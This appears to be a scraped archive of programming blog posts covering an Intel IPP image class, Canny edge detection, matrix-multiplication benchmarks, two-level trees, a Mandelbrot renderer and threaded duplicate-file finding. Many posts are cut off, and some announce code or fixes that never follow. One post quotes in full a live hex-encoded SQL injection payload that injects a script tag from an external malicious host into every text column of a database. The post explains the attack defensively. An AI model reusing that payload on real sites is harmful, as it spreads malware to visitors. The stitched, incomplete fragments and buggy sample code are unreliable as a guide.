        IPPGrayImage(Ipp32f *imgBuffer, const unsigned int width, const unsigned int height);
        IPPGrayImage(const IPPGrayImage& other);
        virtual ~IPPGrayImage();
        IPPGrayImage& operator=(const IPPGrayImage& other);

        void LoadFromFile(string fileName);
        void SaveToFile();
        void SaveToFile(string fileName);

        inline float GetPixel(unsigned int col, unsigned int row) {return _imgBuffer[row * _width + col];}
        inline void SetPixel(unsigned int col, unsigned int row, float clr) {_imgBuffer[row * _width + col] = clr;}

        unsigned int GetWidth() { return _width;}
        unsigned int GetHeight() { return _height;}

        Ipp32f* GetImageBuffer() { return _imgBuffer;}
        Image* GetImage() { return _img;}

        IPPGrayImage* Clone();
        IPPGrayImage* ApplyHammingWindow();
        IPPGrayImage* FFT(bool fftShift = false);
    protected:
    private:
        unsigned int _width;
        unsigned int _height;

        Image* _img;
        Pixels* _view;
        PixelPacket* _pixels;
        Ipp32f* _imgBuffer;
        string _fileName;

        void Init();
    };
}
#endif // IPPGRAYIMAGE_H

And here’s the implementation for the class:

#include <assert.h>
#include <math.h>

#include "IPPGrayImage.h"

namespace KDW
{
    /** @brief Constructor()
     *  Initialize image buffer.
     */
    IPPGrayImage::IPPGrayImage()
    {
        Init();
    }

    /** @brief Constructor(width, height)
     *  Initialize an image size of width x height.
     */
    IPPGrayImage::IPPGrayImage(const unsigned int width, const unsigned int height)
    {
        Init();

        _width = width;
        _height = height;

        int stepByte = 0;
        _imgBuffer = ippiMalloc_32f_C1(_width, _height, &stepByte);
    }

    /** @brief Constructor(imgBuffer, width, height)
     *  Initilize from an Ipp32f buffer (width x height)
     */
    IPPGrayImage::IPPGrayImage(Ipp32f *imgBuffer, const unsigned int width, const unsigned int height)
    {
        Init();

        _width = width;
        _height = height;
        _imgBuffer = imgBuffer;
    }

    /** @brief Copy Constructor
     */
    IPPGrayImage::IPPGrayImage(const IPPGrayImage& other)
    {
        _width = other._width;
        _height = other._height;

        int stepByte = 0;

        _imgBuffer = ippiMalloc_32f_C1(_width, _height, &stepByte);

        for (unsigned int row = 0; row < _height ; row++)
        {
            for (unsigned int column = 0; column < _width ; column++)
            {
                _imgBuffer[column + row * _width] =other._imgBuffer[column + row * _width];
            }
        }

        if (other._pixels == NULL) _pixels = NULL;
    }

    /** @brief Overload =
     */
    IPPGrayImage& IPPGrayImage::operator=(const IPPGrayImage& rhs)
    {
        if (this == &rhs) return *this; // handle self assignment

        return *this;
    }

    /**
     * @brief Destructor
     */
    IPPGrayImage::~IPPGrayImage()
    {
        ippFree(_imgBuffer);
        delete _img;
        delete _view;
    }

    /**
     * @brief Common initialization code
     */
    void IPPGrayImage::Init()
    {
        PIXEL_SIZE = sizeof(Ipp32f);
        _pixels = NULL;
        _imgBuffer = NULL;
        _img = NULL;
    }

    /** @brief Load an image from file
      */
    void IPPGrayImage::LoadFromFile(string fileName)
    {
        _img = new Image(fileName);
        Geometry g = _img->size();

        _width = g.width();
        _height= g.height();

        _view = new Pixels(*_img);
        _pixels = _view->get(0,0, _width, _height);

        int stepByte = 0;
        _imgBuffer = ippiMalloc_32f_C1(_width, _height, &stepByte);

        for (unsigned int row = 0; row < _height ; row++)
        {
            for (unsigned int column = 0; column < _width ; column++)
            {
                PixelPacket *p = &_pixels[column + row * _width];
                Color c = Color(p->red, p->green, p->blue);
                _imgBuffer[column + row * _width] = c.intensity();
            }
        }
    }

    /** @brief Save the current image buffer to file
      */
    void IPPGrayImage::SaveToFile()
    {
        SaveToFile("");
    }

    /** @brief SaveToFile(fileName)
     *  Saves the current image buffer to a file (by file name).
     */
    void IPPGrayImage::SaveToFile(string fileName)
    {
        if (_img != NULL && _pixels != NULL)
        {
            for (unsigned int y = 0; y< _height ; y++)
            {
                for (unsigned int x = 0; x < _width; x++)
                {
                    float clr = (float) _imgBuffer[x + y * _width];
                    _pixels[x+ y * _width] = Color(clr, clr, clr);
                }
            }
            _view->sync();
            _img->syncPixels();

            if (fileName == "")
            {
                _img->write(_fileName);
            }
            else
            {
                _img->write(fileName);
            }
        }
        else
        {
            Image img(Geometry(_width, _height),"white");

            for (unsigned int y = 0; y< _height ; y++)
            {
                for (unsigned int x = 0; x < _width; x++)
                {
                    Color c;
                    float clr = (float) _imgBuffer[x + y * _width];
                    img.pixelColor(x,y, Color(clr, clr, clr));
                }
            }

            img.write(fileName);
        }
    }

    /** @brief Clone
    *   Duplicate the current image to another IPPGrayImage object.
    *   @return an IPPGrayImage pointer to the cloned image
    */
    IPPGrayImage* IPPGrayImage::Clone()
    {
        IPPGrayImage *newImg;

        newImg = new IPPGrayImage(_width, _height);

        int stepByte = 0;
        newImg->_imgBuffer = ippiMalloc_32f_C1(_width,_height, &stepByte);

        for (unsigned int y = 0 ; y < _height ; y++)
        {
            for (unsigned int x = 0 ; x < _width ; x++)
            {
                newImg->_imgBuffer[x + y * _width] = _imgBuffer[x + y * _width];
            }
        }

        return newImg;
    }

    /** @brief Apply Hamming window to the image
     *  @return an IPPGrayImage pointer to the processed image
     */
    IPPGrayImage* IPPGrayImage::ApplyHammingWindow()
    {
        IPPGrayImage *newImg;
        newImg = new IPPGrayImage(_width , _height);
        IppiSize srcImgSize = {_width, _height};

        IppStatus sts;
        int stepByte;
        Ipp32f *imgCache = ippiMalloc_32f_C1(_width , _height , &stepByte);

        sts = ippiWinHamming_32f_C1R(_imgBuffer, _width * PIXEL_SIZE, imgCache, _width * PIXEL_SIZE, srcImgSize);
        assert(sts ==ippStsNoErr);

        for (unsigned int y = 0; y< _height; y++)
        {
            for (unsigned int x = 0; x < _width; x++)
            {
                newImg->_imgBuffer[x+ y * _width] = imgCache[x + y * _width];
            }
        }

        return newImg;
    }

    /** @brief Perform FFT on the image and returns the magnitude component
     *  @param fftShift: if it is true, the the result is with
     *         zero-frequency component shifted to center of spectrum
     *  @return the magnitude FFT component
     */
    IPPGrayImage* IPPGrayImage::FFT(bool fftShift)
    {
        IPPGrayImage *newImg;
        IppiFFTSpec_R_32f *spec;
        IppStatus sts;

        unsigned int n = (int) (logf((float) _width) / logf(2.0f));
        unsigned int m = (int) (logf((float) _height) / logf(2.0f));

        unsigned int N = pow(2, n);
        unsigned int M = pow(2, m);

        if (N < _width)
        {
            n = n + 1;
            N = pow(2, n);
        }

        if (M < _height)
        {
            m = m + 1;
            M = pow(2, m);
        }

        int stepByte;
        Ipp32f *src = ippiMalloc_32f_C1(M , N , &stepByte);
        Ipp32f *dst = ippiMalloc_32f_C1(M , N , &stepByte);
        Ipp32f *mag = ippiMalloc_32f_C1(M , N , &stepByte);

        IppiSize srcImgSize = {_width, _height};
        IppiSize dstImgSize = {N, M};

        sts = ippiCopyConstBorder_32f_C1R(
                  _imgBuffer, _width * PIXEL_SIZE, srcImgSize,
                  src,  N * PIXEL_SIZE, dstImgSize,
                  0,0,0);
        assert(sts ==ippStsNoErr);

        sts = ippiFFTInitAlloc_R_32f(&spec, n , m, IPP_FFT_DIV_BY_SQRTN, ippAlgHintAccurate);
        assert(sts ==ippStsNoErr);

        sts = ippiFFTFwd_RToPack_32f_C1R(src, N*PIXEL_SIZE, dst, N*PIXEL_SIZE, spec, 0);
        assert(sts ==ippStsNoErr);

        sts = ippiMagnitudePack_32f_C1R(dst, N*PIXEL_SIZE, mag, N*PIXEL_SIZE, dstImgSize);
        assert (sts ==ippStsNoErr);

        newImg = new IPPGrayImage(N , M);

        if (fftShift)
        {
#pragma omp sections
            {
#pragma omp section
                {
                    for (unsigned int y = 0 ; y < M/2; y++)
                    {
                        for (unsigned int x = 0 ; x < N/2; x++)
                        {
                            newImg->_imgBuffer[x+ y *N] = mag[x + N/2 + (y + M/2) * N];
                        }
                    }
                }
#pragma omp section
                {
                    for (unsigned int y = 0 ; y < M/2; y++)
                    {
                        for (unsigned int x = N/2 ; x < N; x++)
                        {
                            newImg->_imgBuffer[x+ y *N] = mag[x - N/2 + (y + M/2) * N];
                        }
                    }
                }
#pragma omp section
                {
                    for (unsigned int y = M/2 ; y < M; y++)
                    {
                        for (unsigned int x = 0 ; x < N/2; x++)
                        {
                            newImg->_imgBuffer[x+ y *N] = mag[x + N/2 + (y - M/2) * N];
                        }
                    }
                }
#pragma omp section
                {
                    for (unsigned int y = M/2 ; y < M; y++)
                    {
                        for (unsigned int x = N/2 ; x < N; x++)
                        {
                            newImg->_imgBuffer[x+ y *N] = mag[x - N/2 + (y - M/2) * N];
                        }
                    }
                }
            }
        }
        else
        {
            for (unsigned int y = 0; y< M; y++)
            {
                for (unsigned int x = 0; x <N; x++)
                {
                    newImg->_imgBuffer[x+ y * N] = mag[x + y * N];
                }
            }

        }

        return newImg;
    }
}

The above example showed only the FFT function, but virtually all IPP image routines can be accommodated using the wrapper image class above. Intel IPP utilizes many different data types (e.g. Ipp8u, Ipp16s, Ipp32f etc.), but to provide most of the flexibility and compatibility I chose to use only the 32 bit floating data type. For specific implementations, other data types can be used as well.

Since the implementation of many of the functions are threaded, it makes the task of writing high performance applications much easier. Since it is a set of “performance primitives” as the name suggests, it uses its own data structures (e.g. Ipp8u) and does not provide functions to directly inter-operate with data coming from other sources (e.g. image files).

Fortunately, such data conversion is pretty straight forward. In this post, I will illustrate how to convert an image file (e.g. .jpg, .png, .gif) to the data IPP uses, and how to save the result into a standard image file once the processing is done.

Magick++ is a very comprehensive image-processing C++ library and the Image class it provides handles image files quite well. So I chose to use Magic++’s API to convert image files to the data structure IPP uses. In this particular example, I will use a gray level image. But in practice, color images can be easily handled in a similar fashion.

For the code mentioned below, the following headers and namespaces are used:

#include <Magick++/Image.h>
#include <Magick++.h>
#include <ipp.h>

using namespace std;
using namespace Magick;

And the following code shows how to convert a standard image file data into format that is suitable for IPP.

    IppStatus sts;
    Image img("{Image File Name}");
    Geometry g = img.size();

    unsigned int width = g.width();
    unsigned int height= g.height();

    Pixels view(img);
    PixelPacket *pixels = view.get(0,0,width,height);

    int stepByte = 0;
    //allocating a buffer of unsigned char (Ipp8u) for the image.
    Ipp8u *imgCache = ippiMalloc_8u_C1(width,height, &stepByte);

    for (unsigned int row = 0; row < height ; row++)
    {
        for (unsigned int column = 0; column < width ; column++)
        {
            PixelPacket *p = &pixels[column + row * width];
            Color c = Color(p->red, p->green, p->blue);
            double i = c.scaleQuantumToDouble(c.intensity()) * 255;
            imgCache[column + row * width] = (char) i;
        }
    }

The above code snippet first reads the image data into *PixelPacket and the pixel buffer is then converted into a one channel buffer of chars (color value 0-255). Note that the range of the image data Magick++ reads in is between 0 and QuantumRange, which needs to be converted back to the range 0-255 accepted by the Ipp8u buffer. If other types of IPP image buffers are used (e.g. Ipp32f), this scaleQuantumToDouble() conversion may not be necessary. At the end, the image data is converted into the one dimensional array imgCache which can be used by IPP procedures.

Once we are in the IPP data domain, we can proceed with whatever processing we had in mind. Here I will show the code for edge detection using Canny algorithm.

    IppiSize orgImgSize = {width, height};
    IppiSize newImgSize = {width + 2, height + 2};

    Ipp8u *imgCache1 = ippiMalloc_8u_C1(width + 2,height + 2, &stepByte);
    sts = ippiCopyReplicateBorder_8u_C1R(imgCache, width, orgImgSize,  imgCache1,
            width + 2 , newImgSize, 2, 2);
    IppiSize roi = {width, height};

    Ipp32f low=30.0f, high=100.0f;
    int size, size1, srcStep, dxStep, dyStep, dstStep;

    Ipp8u *src, *dst, *buffer;
    Ipp16s *dx, *dy;

    sts = ippiFilterSobelNegVertGetBufferSize_8u16s_C1R(
            roi, ippMskSize3x3, &size);
    sts = ippiFilterSobelHorizGetBufferSize_8u16s_C1R(
            roi, ippMskSize3x3, &size1);

    if (size<size1) size=size1;
    ippiCannyGetSize(roi, &size1);
    if (size<size1) size=size1;

    buffer = ippsMalloc_8u(size);
    dx = ippsMalloc_16s(size);
    dy = ippsMalloc_16s(size);
    dst = ippsMalloc_8u(size);

    sts = ippiFilterSobelNegVertBorder_8u16s_C1R (
            imgCache1, width + 2 , dx, (width + 2) * 2 ,
            roi, ippMskSize3x3, ippBorderRepl, 0, buffer);
    sts = ippiFilterSobelHorizBorder_8u16s_C1R(
            imgCache1, width + 2, dy, (width + 2) *2 ,
            roi, ippMskSize3x3, ippBorderRepl, 0, buffer);
    sts = ippiCanny_16s8u_C1R(dx,
            (width + 2) * 2, dy, (width + 2) * 2,
            dst, width, roi, low, high, buffer);

The code shown above is adopted from Intel’s IPP manual for image and video processing (by default it is located at /opt/intel/ipp/{version number}/em64t/doc/ippiman.pdf).

Please pay special attention to how the original image is extended via ippiCopyReplicateBorder_8u_C1R. The image is extended by 2 pixels in each direction because the 3×3 mask used for the filtering operation. I omitted error checking code for simplicity, but in general you need to check the return status of each ippi function call. When the call is successful, the status is ippStsNoErr. If you receive a value other than ippStsNoErr (e.g. ippStsStepErr) you will need to check your buffer size to make sure that they are adjusted according to the data type. For instance, in the code above dx and dy are both 16bit signed integers and thus they both occupy two bytes each.

To save the result image, we convert the pixel buffer back to PixelPacket type. Again we need to convert the data in the buffer (Ipp8u) to the range accepted by Magick++ API.

    for (unsigned int y = 0; y< height ; y++)
    {
        for (unsigned int x = 0; x < width; x++)
        {
            Color c;
            float clr = (float) dst[x + y * width] /255;
            float q = c.scaleDoubleToQuantum(clr);
            pixels[x+ y * width] = Color(q, q, q);
        }
    }

    view.sync();
    img.syncPixels();

    img.write("{Image File Name}");

We can also save the result data into a new image (instead of syncing the data back to the image object holding the original image data) using the code below:

    Image img1(Geometry(width, height),"white");

    for (unsigned int y = 0; y< height ; y++)
    {
        for (unsigned int x = 0; x < width; x++)
        {
            Color c;
            float clr = (float) dst[x + y * width] /255;
            float q = c.scaleDoubleToQuantum(clr);
            img1.pixelColor(x,y, Color(q, q, q));
        }
    }

    img1.write("{Image File Name}");

And finally the buffers used are freed.

    ippiFree(imgCache);
    ippsFree(buffer);

The following images show Canny edge detector in action using the code in this article:

Original

Canny Edge Detector applied

Even though a lot of optimizations have been done in the .Net runtime to make it more efficient, it is apparent that scientific programming still favors C and C++ because that the performance advantage is huge.

In this article, I will examine some matrix multiplication algorithms that are commonly used and illustrate the efficiencies of the various methods. All the tests are done using C++ only and matrices size ranging from 500×500 to 2000×2000. When the matrix sizes are small (e.g. <50), you can pretty much use any matrix multiplication algorithms without observing any significant performance differences. This is largely due to the fact that the typical stable matrix multiplication algorithms are O(n^3) and sometimes array operation overheads outweigh the benefit of algorithm efficiencies. But for matrices of larger dimensions, the efficiency of the multiplication algorithm becomes extremely important.

Since Dmitri’s article has already captured pretty detailed data using the standard matrix multiplication algorithm, I will not repeat his findings in this article. What I intended to show was the performance data of uBLAS, OpenMP, cBLAS and MATLAB.

The following sample code are compiled under Ubuntu 8.10 64 bit (kernel 2.6.24.23) on Intel Q9450@3.2GHz.

Standard Matrix Multiplication (Single Threaded)

This is our reference code. Later on, I will only show the critical portion of the code and not repeat the common portion of code that initializes/finalizes the arrays. Similarly, the timing method used is also the same across all the tests and will be omitted later on.

float **A, **B, **C;

A = new float*[matrix_size];
B = new float*[matrix_size];
C = new float*[matrix_size];

for (int i = 0 ; i < matrix_size; i++)
{
    A[i] = new float[matrix_size];
    B[i] = new float[matrix_size];
    C[i] = new float[matrix_size];
}

for (int i=0; i<matrix_size; i++)
{
    for (int j = 0 ; j < matrix_size; j++)
    {
        A[i][j]=rand();
        B[i][j]=rand();
    }
}

timeval t1, t2, t;
gettimeofday(&t1, NULL);

for (int i = 0 ; i < matrix_size; i++)
{
    for (int j = 0;  j < matrix_size; j++)
    {
        C[i][j] = 0;
        for (int k = 0; k < matrix_size; k++)
        {
            C[i][j] += A[i][k] * B[k][j];
        }
    }
}

gettimeofday(&t2, NULL);
timersub(&t2, &t1, &t);

cout << t.tv_sec + t.tv_usec/1000000.0 << " Seconds -- Standard" << endl;

for (int i = 0 ; i < matrix_size; i++)
{
    delete A[i];
    delete B[i];
    delete C[i];
}

delete A;
delete B;
delete C;

OpenMP With Two Dimensional Arrays

Using OpenMP, we are able to multiple threads via the #pragma omp directives. For the simple algorithm we used here, the speed increase is almost proportional to the number of available cores within the system.

...
#pragma omp parallel for shared(a,b,c)
for (long i=0; i<matrix_size; i++)
{
    for (long j = 0; j < matrix_size; j++)
    {
        float sum = 0;
        for (long k = 0; k < matrix_size; k++)
        {
            sum +=a[i][k]*b[k][j];
        }
        c[i][j] = sum;
    }
}
...

OpenMP With One Dimensional Arrays

Cache locality is poor using the simple algorithm I showed above. The performance can be easily improved however by improving the locality of the references. One way to achieve better cache locality is to use one dimensional array instead of two dimensional array and as you will see later, the performance of the following implementation has as much as 50% speed gains over the previous OpenMP implementation using two dimensional arrays.

float *a, *b, *c;

a = new float[matrix_size * matrix_size];
b = new float[matrix_size * matrix_size];
c = new float[matrix_size * matrix_size];

for (long i=0; i<matrix_size * matrix_size; i++)
{
    a[i]=rand();
    b[i] = rand();
    c[i] = 0;
}

#pragma omp parallel for shared(a,b,c)
for (long i=0; i<matrix_size; i++)
{
    for (long j = 0; j < matrix_size; j++)
    {
        long idx = i * matrix_size;
        float sum = 0;
        for (long k = 0; k < matrix_size; k++)
        {
            sum +=a[idx + k]*b[k * matrix_size +j];
        }
        c[idx + j] = sum;
    }
}

delete a;
delete b;
delete c;

Boost Library uBLAS (Single Threaded)

Boost library provides a convenient way to perform matrix multiplication. However, the performance is very poor compared to all other approaches mentioned in this article. The performance of the uBLAS implementation is largely on par with that using C# (see benchmarks towards the end of the article). Intel’s Math Kernal Library (MKL) 10.1 does provide functionality to dynamically convert code using uBLAS syntax into highly efficient code using MKL by the inclusion of header file mkl_boost_ublas_matrix_prod.hpp. I have not tried it myself though, but the performance should be comparible to algorithms using the native MKL BLAS interface.

By default (without using MKL’s uBLAS capability) though, uBLAS is single threaded and due to its poor performance and I would strongly suggest avoid using uBLAS in any high performance scientific applications.

matrix<float> A, B, C;

A.resize(matrix_size,matrix_size);
B.resize(matrix_size,matrix_size);

for (int i = 0; i < matrix_size; ++ i)
{
    for (int j = 0; j < matrix_size; ++ j)
    {
        A(i, j) = rand();
        B(i, j) = rand();
    }
}

C =prod(A, B);

Intel Math Kernel Library (MKL) cBLAS

Intel’s Math Kernel Library (MKL) is highly optimized on Intel’s microprocessor platforms. Given that Intel developed this library for its own processor platforms we can expect significant performance gains. I am still surprised at how fast the code runs using cBLAS though. In fact, it was so fast that I doubted the validity of the result at first. But after checking the results against those obtained by other means, those doubts were putting into rest.

The cBLAS matrix multiplication uses blocked matrix multiplication method which further improves cache locality. And it is more than thirty times faster then the fastest OMP 1D algorithm listed above! Another benefit is that by default it automatically detects the number of CPUs/cores available and uses all available threads. This behavior greatly simplifies the code since threading is handled transparently within the library.

float *A, *B, *C;

A = new float[matrix_size * matrix_size];
B = new float[matrix_size * matrix_size];
C = new float[matrix_size * matrix_size];

for (int i = 0; i < matrix_size * matrix_size; i++)
{
    A[i] = rand();
    B[i] = rand();
    C[i] = 0;
}

cblas_sgemm(CblasRowMajor, CblasNoTrans, CblasNoTrans,
    matrix_size,  matrix_size,  matrix_size, 1.0, A,matrix_size,
    B, matrix_size, 0.0, C, matrix_size);

MATLAB (Single Threaded)

MATLAB is known for its efficient algorithms. In fact it uses BLAS libraries for its own matrix calculation routines. The version of MATLAB I have is a little dated (7.0.1), but nevertheless it would be interesting to see how its performance compares with that of latest MKL’s. MATLAB 7 is single threaded, and given the same matrix size, it runs roughly three times slower than the fastest MKL routine listed above (per core).

    a = rand(i,i);
    b = rand(i,i);
    tic;
    c = a*b;
    t = toc

The following table shows the results I obtained by running the code listed above. The results are time in seconds. (note, S.TH means single threaded and M.TH means multi-threaded).

The following figure shows the results. Since uBLAS and single threaded matrix multiplications took significantly longer to compute, I did not include them in the figure below.

The following figure shows the same data but uses log-scale Y axis instead so that all the data can show up nicely. You can get a sense of various algorithms’ efficiencies here:

Here is the output from the main routine:

(t1);t2;t3;
(t4);t5;t6;
(t1);t2;t3;t4;t5;t6;
(t1);t2;t3;t5;t6;
(t2);t3;t5;t6;

As you can see, tree t1 is formed by adding nodes t2 and t3 and the resulting tree is a two-level tree with t1 being the root. Similarly, t4 is formed by adding nodes t5 and t6. We then combined this two tree we just created, note how node t4 changed to a leaf in order to satisfy the two level property. In the next two output lines, we removed nodes from the two level tree. Note the last line: when we removed the root node, a leaf node (t2) is chosen as the new root of the tree.

Two level tree is extremely useful in capturing relationships in real world applications. For instance, if a is related to b and c, and d is related to e and f. Now we have two sets of distinct relationships (both are two level trees):

(a);b;c

(d);e;f

Now suppose that we also know c is related to e, what would the new relationship be? We know that a, b, c, d, e, f are then all related. But how do we capture this kind of relationships programmatically? As it turned out, we can use two level trees. In the example we just discussed, the relationship between e and c are captured via combining the two trees. And thus we get the following two level tree:

(a);b;c;d;e;f

Since related items are not necessarily limited to just tree roots (e.g. c and e are both leafs), we needed to be able to refer to a tree by either its root or its nodes and this is why in my previous post I mentioned that it would be a lot easier if we allowed referencing a tree by either the root node or its leafs.

One benefit of using a two level tree to capture relationships is that finding out the related items is a constant time operation since all of the related items are in a two level tree and no further tree traversal is required. In a large data set, this algorithm becomes very effective since no recursion is required.

A two level tree

There is no internal nodes in a two level tree. A two level tree has only a root node and a set of leaf nodes.

There are two types basic of operations we can perform on a two level tree: we can Add a two level tree to another two level tree and thus form a new two level tree or we can remove a node or a set of nodes from a two level tree.

To add a two level tree to another two level tree, we need to ensure that the combined tree remains a two level tree. when we say adding a tree, it means adding the "whole tree". But in practice, we really do not care which part of the tree we refer to. For instance, the above tree can be referred to by A (the root node), or by any of the four children (e.g. C). Thus there are four scenarios when adding two trees together, depending on how the tree is referenced. The following graph illustrate this:

Merging Two Two Level Trees

The above four different scenarios depend on how the tree is referenced (the shaded letters). We could mandate that a tree referenced by its root node and thus simplify the merging algorithm, but you will see in a later post that this approach adds more flexibility. The following code (C#) shows how the above steps are accomplished: 

The "remove" operation is pretty simple as well. Bascically, when the node to be removed is leaf, we simply remove it. When it is root, we select one of the leave nodes to be root and forming a new two level tree.

In the next post, I will show you one of the applications of a two level tree.

To get the driver built on Ubuntu 8.04 however, I needed to make some minor changes to epcam.c. The kernel version I was compiling against is 2.6.24-19-generic. To get the 0.7.3 driver build successfully, I needed to comment out #include <linux/config.h> and then ran

KBUILD_NOPEDANTIC=1 make install

If you do not want to setup the environment variables for the build, you could just modify the #include statements to where the kernel header files are located:

After the build the driver is automatically installed and when the webcam is plugged in, it should be recognized by apps such as camorama (note: /dev/video0 is automatically created when the webcam is connected).

The latest wave of such attack looks like follows:

?;DECLARE%20@S%20CHAR(4000);SET%20@S=CAST(0x4445434C4152452040

54207661726368617228323535292C4043207661726368617228343030302920

4445434C415245205461626C655F437572736F7220435552534F5220464F5220

73656C65637420612E6E616D652C622E6E616D652066726F6D207379736F626

A6563747320612C737973636F6C756D6E73206220776865726520612E69643D

622E696420616E6420612E78747970653D27752720616E642028622E7874797

0653D3939206F7220622E78747970653D3335206F7220622E78747970653D32

3331206F7220622E78747970653D31363729204F50454E205461626C655F437

572736F72204645544348204E4558542046524F4D20205461626C655F437572

736F7220494E544F2040542C4043205748494C4528404046455443485F53544

15455533D302920424547494E20657865632827757064617465205B272B4054

2B275D20736574205B272B40432B275D3D2727223E3C2F7469746C653E3C73

6372697074207372633D22687474703A2F2F777777332E73733131716E2E636

E2F63737273732F6E65772E68746D223E3C2F7363726970743E3C212D2D2727

2B5B272B40432B275D20776865726520272B40432B27206E6F74206C696B652

0272725223E3C2F7469746C653E3C736372697074207372633D22687474703A

2F2F777777332E73733131716E2E636E2F63737273732F6E65772E68746D223E

3C2F7363726970743E3C212D2D272727294645544348204E4558542046524F4

D20205461626C655F437572736F7220494E544F2040542C404320454E442043

4C4F5345205461626C655F437572736F72204445414C4C4F434154452054616

26C655F437572736F72%20AS%20CHAR(4000));EXEC(@S);

The technique used by the attacker is extremely simple. It basically generates a dynamic SQL statement (HEX encoded, many converters like this one can be used to translate the HEX code back to ASCII):

The above SQL code creates a list of all the text columns in the current database and tries to insert the highlighted scripts. The script tries to "infect" entries that have not already been changed so that would presumably be less suspicious.

The following google search:

http://www.google.com/search?hl=en&q=http%3A%2F%2Fwww0.douhunqn.cn%2Fcsrss%2Fw.js&btnG=Search

revealed that there were a large number of sites that have been affected. This is quite striking since SQL injection attacks have been around for a long time and simple techniques (e.g. stored procedures, parameterized queries, escape special characters) can prevent such exploit. But it is apparent that there are still many people there embed SQL statements in their code without taking any precautions…

To get around this issue, you will need to change the ENCODING_SCHEME (in MSUtil.cs, line 49) to

The draw back is that the compression ratio of this compression scheme is pretty poor and the merged TIFF file is significantly larger.

The standard algorithm for generating Mandelbrot Set is extremely easy to adapt to using TBB. In fact the loops look almost identical to those in the single-threaded approach, except that the iterations are calculated within a 2D range block (blocked_range2d) instead of the entire two dimensional space.

Because xlib by itself is not thread-safe, special attention must be made when trying to update the display concurrently. One way to address this issue is to employee a shared memory region (X11/extensions/XShm.h and sys/shm.h), the display is first built in memory and then the shared memory is attached to the display. In my examples above I used code (video.h, xvideo.cpp) from the sample code that come with the TBB library, which uses the shared memory method I mentioned earlier to make the X11 calls thread-safe.

Many optimization methods can be used to further enhance the performance of the algorithm. One of the most efficient methods is to utilize SSE instructions found on all modern Intel processors (examples can be found here: Using SSE3 Technology in Algorithms with Complex Arithmetic). This approach however might be difficult to implement and debug since parallel data structures must be used in order to benefit from SSE instructions. Also, explicit assembly level coding makes porting code to other machine architectures a daunting task. Modern compilers can already take full advantage of the underlying machine architecture. For example, the gcc compiler (4.2.3) already generates SSE instructions for the code snippet above. While hand tweaking using SSE instructions might further improve the performance, we would certainly sacrifice code simplicity and portability.

The approach I am going to take to further optimize the code is to use loop unrolling. Since the inner loop of the standard algorithm is pretty short, unrolling the inner loop should lessen the burden of loop overhead and decrease the chances of stalling the pipeline (when branching must be predicted). So a high-level loop unrolling should be able to improve the performance.

Here is the code after the inner loop is unrolled:

This code generates identical results as the code mentioned previously. As you can see, the inner loop is not unrolled to handle two data points at a time.

As it turned out, this algorithm runs almost twice as fast as the code mentioned earlier(280ms versus 510ms on Intel Q9450 @ 3.4GHz).

Source code for this article can be downloaded here.

This change affected one of the applications I wrote a while ago. Since I stored all the configuration information inside the web.config file, I thought it was just a simple matter of changing the server from ‘server1′ to ‘server2′ and then I was done. Well, as it turned out, the result was totally unexpected.

Upon finishing the configuration change, I decided to test the application even though I was sure that everything would be working just fine. I was wrong, instead of getting the expected results, I got the following error message while trying to send email through the application:

Exception:
Could not access ‘CDO.Message’ object.

InnerException:
Exception has been thrown by the target of an invocation.InnerException:
at System.RuntimeType.InvokeDispMethod(String name, BindingFlags invokeAttr, Object target, Object[] args, Boolean[] byrefModifiers, Int32 culture, String[] namedParameters)
at System.RuntimeType.InvokeMember(String name, BindingFlags invokeAttr, Binder binder, Object target, Object[] args, ParameterModifier[] modifiers, CultureInfo culture, String[] namedParameters)
at System.Type.InvokeMember(String name, BindingFlags invokeAttr, Binder binder, Object target, Object[] args)
at System.Web.Mail.LateBoundAccessHelper.CallMethod(Type type, Object obj, String methodName, Object[] args)
at System.Web.Mail.LateBoundAccessHelper.CallMethod(Object obj, String methodName, Object[] args)

Since the only thing changed was the server configuration, I thought that it was definitely a configuration problem of the new mail server. But that could not have been the problem as many applications had already been migrated over and they were working just fine.

After a Google search, it became apparent to me that many people out there are having the same issue. But no information seemed to point to a definitive answer. And the tricks mentioned in various articles did not solve my particular problem. After some struggle, I found out that the culprit was actually my MailMessage.From field. Instead of an actual email address, I had always used some random names (e.g. system notification, etc.). And apparently, the spaces in the From field string would cause the error I mentioned above. And if I remove all the spaces in the From field, the exception goes away. Since the SmtpMail object is simply a wrapper for the Win32 CDO (Collaborative Data Objects), the error was poorly propagated back (like many of the errors in .Net as I mentioned previously. See 1, 2, 3).

Indeed, had the error message been something more clear like “Error: From field must not contain any space“, I would not have spent the good portion of the afternoon hunting for bugs (I still think it must have something to do with the new mail server’s configuration, since this code has been working with other mail servers).

For tasks that contain both intensive IO operations and CPU usages however it is desirable to parallelize the IO bound portion and the CPU bound portion of code so that maximum parallelism can be achieved.

An example of such IO and CPU intensive tasks is finding duplicate files in a file system. To find duplicate files, files or their hashes must be compared. In this post, I will discuss a couple of different approaches to achieve this using threading.

1. Sequential find
First let us take a look at how to find duplicate files sequentially (all the sample code can be downloaded from here):

Suppose we have a function that returns a list of files within a directory (see GetFileList in FileUtils). In function FindDuplicates, we loop through the list of files and calculate the hash of each file. The file name and hash are used together as a key to a hash table. Whenever the same key is indexed the count is incremented by one indicating a duplicate file is found. Here is what the code looks like:

2. ThreadPool
We could improve the performance by moving the hash calculation to separate threads.

The first approach to parallelize the task is to use a thread pool to queue the work of calculating file hashes. Since calculating file hash involves reading in the whole file (IO bound) and some calculation on the content, there is some inherent parallelism so using multiple threads could potentially improve performance.

The code below shows this approach:

3. Producer and Consumer
Even through the previous approach improved the duplicated file finding performance, it is still not optimum. For example, even though multiple threads are used to calculate file hashes, they are joined at the end before another set of calculation is queued. Also, the IO is operations are distributed across multiple threads and on some older hard drives handling IO in multiple threads can actually slow things down. An ideal solution would be to use a single thread for IO operation since IO is inherently sequential.

As it turned out, this problem is a classic producer-consumer problem. In this third approach, we will examine how to use the producer consumer model to solve the problem of finding duplicates. In this approach, the producer thread searches for files within a given directory. It opens each file as it encounters and read the content into a ProducerConsuerQueue. At the same time, the consumer computes the hash from the bytes stored in the queue and determines whether a file is duplicated or not. The code is slightly different than what you saw above as files are being added to the queue and consumed from the queue simultaneously.

If you run each versions of the code, you will see that this approach has most of the performance gains. It has better performance than ThreadPool approach since the IO thread always tries to keep the queue. Further, concentrate IO operations into a single thread helps the system optimize IO requests and thus increases the IO subsystem performance.